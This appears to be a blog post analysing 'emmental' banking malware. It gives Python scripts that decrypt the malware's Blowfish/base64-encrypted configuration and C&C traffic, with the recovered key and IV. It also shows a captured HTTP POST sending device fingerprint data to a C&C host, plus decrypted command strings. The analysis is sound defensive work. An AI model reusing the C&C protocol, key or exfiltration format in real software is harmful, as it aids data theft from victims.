Saturday, October 24, 2015

Decrypting 'emmental' - Blowfish and base64

Following the last post, I found in memory some interesting strings:

  • 4e66766e6b6a6c6e766b6a4b434e584b444b4c4648534b443a
  • 12345678


Searching for those strings in Google, I find two interesting articles

So I am dealing with the same kind of malware or from the same family. The malware uses base64 to encode the data and Blowfish to encrypt the data, and we know the IV and the key.Now that we know the algorithm, I can modify the python script, in order to decrypt the initial configuration file, which contains the C&C URLs. 


#!/usr/bin/python

from Crypto.Cipher import Blowfish
from Crypto import Random
from struct import pack
from binascii import hexlify, unhexlify
import sys

file1 =  sys.argv[1]
file2 = sys.argv[2]
file_out = sys.argv[3]


ciphertext_base64 = open(file1,'r')
blfs_key =  open(file2,'r')


file_blfs_key = blfs_key.read()
file_ciphertext_base64 = ciphertext_base64.read()

#ciphertext_base64.read

ciphertext_raw = file_ciphertext_base64.decode("base64")
IV = "12345678"
_KEY = file_blfs_key
ciphertext = ciphertext_raw
KEY = hexlify(_KEY)[:50]
cipher = Blowfish.new(KEY, Blowfish.MODE_CBC, IV)
message = cipher.decrypt(ciphertext)
config_plain = open(file_out,'w')

config_plain.write(message)


The first argument is the file containing the config encrypted (config.cfg), the second one is the file with the key (blfs.key) and the third one is the file where to dump the configuration file in clear text.

To check the script, I use a more recent sample (3df9a48b543d900d2fe502daa78d27a2eb66b99bce42f745ceb8fbe0db0efeae
) from a few weeks ago. 

$python decode3.py config.cfg blfs.key config_plain.txt






I also tried to do it with OpenSSL as this tool is really powerful to encrypt, decrypt, decoded and encode base64 strings, etc, but unfortunately OpenSSL doesn't support Blowfish with a key bigger than 256bits. 

Now that I know what the keys in memory are used for and that I can decrypt the initial config file which contains the C&C URL, I am going to check if there is something in the memory dump from previous post  which might be encrypted the same way. I say that because I suspect that the data sent in the HTTP POST is using the same kind of encryption (base64 + Blowfish). For example, it is worth to check the initial HTTP POST sent by the compromised device to the C&C.


POST /img/main.php HTTP/1.1
User-agent: Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Pragma: no-cache
Host: anman.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 1354
i=McsZtRV7Bv7ZjMSzwk5aIyZEiijP8F38NJcxd5VNElbrlo%2FJB4BPQWpkRjN2pXBhPrmxfuJzMEC%2F%0ABb8AQarQilW71ri4fhjb3Fd6zeGkgg1lV%2B1b%2B42po%2Bd8Xh0mkmHMeE8q6Ov9atedif800UTMtbHK%0AMy3kAD9ZmuC3yOejMJ1%2BGRDc%2F057x8d7zPCEorf87Gj6BH7oXMXikrQlgobvfVkTPuSHJ8b47lxk%0Ad3xI8PQP5vbLDoyDp0vAyfmxNTGjUF%2Fvwg1MIgCBMnYg6O5GGJSxXzjP14%2BAExvGsOXy%2BIpj%2FhpD%0AAZNkycp%2BshcbF%2FTXVJmEd1BD2%2FBQU3LwuUzK4%2B98%2FWPbGY0m2jK7BktB5kJmdCoYIn0bM7SG%2FPxs%0AvPlXYKFjEBO4KfMwyQygUsi2aT%2FZbiPfdo3AnGD3d6ewRTsB%2F8XHRO4R3nsspzZ7AjDKB%2FjeW7rC%0ASD%2BKuRZaUrrmXckwLbssneu6OkeQTdLliwLzweIfWHpyMa5jCZ3rfZ1teGs3eNlr1V91h%2FGxjygz%0A8JxLwNLUin0ZW9axolXA6TG7WuzAiz5VVBiXEF7pZO2SPbJA6vSjmPqU8mWYO4vv%2FQ103LVBK3YY%0AlztTLbDvgINwm%2B%2FKPw7UGgo1Ua3eJdMwTIJer7XnzHLeucS7kccI5UHX2n2lzBNA35%2BleqIME3%2Fe%0A4NNG2vVREhQXamdhCToLOAXE5Sg%2Btkh5otiNh9kTkbbyKFqqcTNS6U5ZWPNTwZrvJ7gLQhwpBeEk%0Afp1DTlhIs2QAimwdBk8l1tAq%2BHEHhWY7X58iFdT%2Ffx9%2FdNJnnO5hyWMQtZkJLG0L7oc0nl3%2BDvN6%0AbNXksJ8%2Bij4tMbKeNCru0GQ%2BnLee5OJl4wzf8PrFAt7p0Uc2lx2FLnBSOImQAjxacbId78bHf5Fv%0Ae2cAkq5zCiR45N6A21ew%2BJNOCG6wsafA0%2Fwhvvl0LARuG8%2FTfWSuiJFmMN6UifkTKGwEc9B7tbc8%0AOsvDqsdZPSgbI32HqwTWIQb1Q4gIdyNobbKdntEma8hD9bBguQjxbgMkaIlSDfWj5sV



This HTTP POST request is URL encoded, so we need to decode it first. We can do it very easily in python:

import sys
import urllib
file1 =  sys.argv[1]
url_encode = open(file1,'r')
url_encode_2 = url_encode.read()
url_decode = urllib.unquote(url_encode_2).decode('utf8') 
print url_decode

So finally I have the string URL decoded. 



Now, it is time to try to decrypt the data, using the script for the Blowfish decryption: 

$python decode3.py  output_string_decoded.txt  blfs.key output





Bingo! The data is there in clear text. I can see the full command sent through HTTP to the C&C. This command is composed of:
  1. An initial string: a:4:{s:6:"device";s:750:
  2. A base64 encoded string
  3. The final string: ";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
The first and third string are some C&C commands. The second string, in base64, can be decoded with the command 'base64 --decode'. 

Very interesting data: the full information of the device is displayed!. So let's recap a bit what is going on here:

  1. The malware dumps lot of key information from the device (fingerprint)
  2. The malware encodes base64 all that data
  3. The malware encrypts all the data from previous step together with some other C&C commands. 
  4. The malware send through HTTP POST all the encrypted data from previous step.


So basically, we are able to decrypt the initial HTTP communication, which uses the same blowfish key and IV.

But all this information could be also gathered from memory without the need of reversing the HTTP communication. For example, some other C&C commands seen in memory:

";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}.
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}

";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:5:"START";s:7:"LogText";s:15:"Service started";}";}
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
Rand code:
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 229195";}";}
Rand code: 229195
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}
Rand code: 67302
Rand code: 664398
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}.
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:70:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:17:"Rand code: 664398";}";}
";s:3:"cmd";s:3:"log";s:3:"rid";s:2:"25";s:4:"data";s:69:"a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}";}
a:2:{s:7:"LogCode";s:4:"PASS";s:7:"LogText";s:16:"Rand code: 67302";}


During this post I explained  how it is possible to reverse and decrypt the initial configuration file of the malware, which contains the URL C&C but also the initial HTTP communication with the C2C. Also, that this information is also in memory in clear text.

However, is the whole communication with the C&C done this way?. I will analyse this in other post :)